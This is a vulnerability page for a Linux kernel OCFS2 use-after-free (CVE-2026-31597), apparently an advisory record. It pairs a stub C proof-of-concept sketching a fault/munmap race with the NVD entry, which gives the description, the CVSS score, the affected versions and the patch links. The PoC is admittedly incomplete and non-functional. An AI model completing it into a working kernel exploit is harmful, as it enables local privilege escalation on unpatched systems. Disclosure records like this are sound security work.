CVE-2026-31597

/* * PoC for CVE-2026-31597 (Conceptual) * This PoC attempts to trigger the race condition in ocfs2_fault. * It requires a mounted OCFS2 filesystem. */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> volatile int stop = 0; void* munmap_thread(void* arg) { void* addr = arg; while (!stop) { munmap(addr, 4096); // Re-map immediately to keep the race going // (Simplified logic, actual file mapping needed) } return NULL; } void* fault_thread(void* arg) { int fd = *(int*)arg; char* addr = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) return NULL; while (!stop) { // Trigger page fault char c = addr[0]; (void)c; usleep(1); } return NULL; } int main() { // Note: Actual exploitation requires a vulnerable OCFS2 file system context. // This code demonstrates the threading model to trigger the race. printf("CVE-2026-31597 PoC - Triggering race between fault and munmap\n"); // Setup threads and file operations here... // ... return 0; }

{"cve": {"id": "CVE-2026-31597", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:37.457", "lastModified": "2026-04-29T14:15:58.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix use-after-free in ocfs2_fault() when VM_FAULT_RETRY\n\nfilemap_fault() may drop the mmap_lock before returning VM_FAULT_RETRY,\nas documented in mm/filemap.c:\n\n \"If our return value has VM_FAULT_RETRY set, it's because the mmap_lock\n may be dropped before doing I/O or by lock_folio_maybe_drop_mmap().\"\n\nWhen this happens, a concurrent munmap() can call remove_vma() and free\nthe vm_area_struct via RCU. The saved 'vma' pointer in ocfs2_fault() then\nbecomes a dangling pointer, and the subsequent trace_ocfs2_fault() call\ndereferences it -- a use-after-free.\n\nFix this by saving ip_blkno as a plain integer before calling\nfilemap_fault(), and removing vma from the trace event. Since\nip_blkno is copied by value before the lock can be dropped, it\nremains valid regardless of what happens to the vma or inode\nafterward."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.39", "versionEndExcluding": "6.6.136", "matchCriteriaId": "860F82EF-76BF-492E-B7CE-559EC99F9C95"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4cf2768a0291a0cdd0dae801ea0eafa3878a349d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f072daefcab1d84ce37c073645615f63be91006", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/76a602fdbb78dd05b2da06f74a988cebc97e82d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7de554cabf160e331e4442e2a9ad874ca9875921", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/925bf22c1b823e231b1baea761fe8a1512e442f2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d45ff441b416d4aa1af72b1db23d959601c04da2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}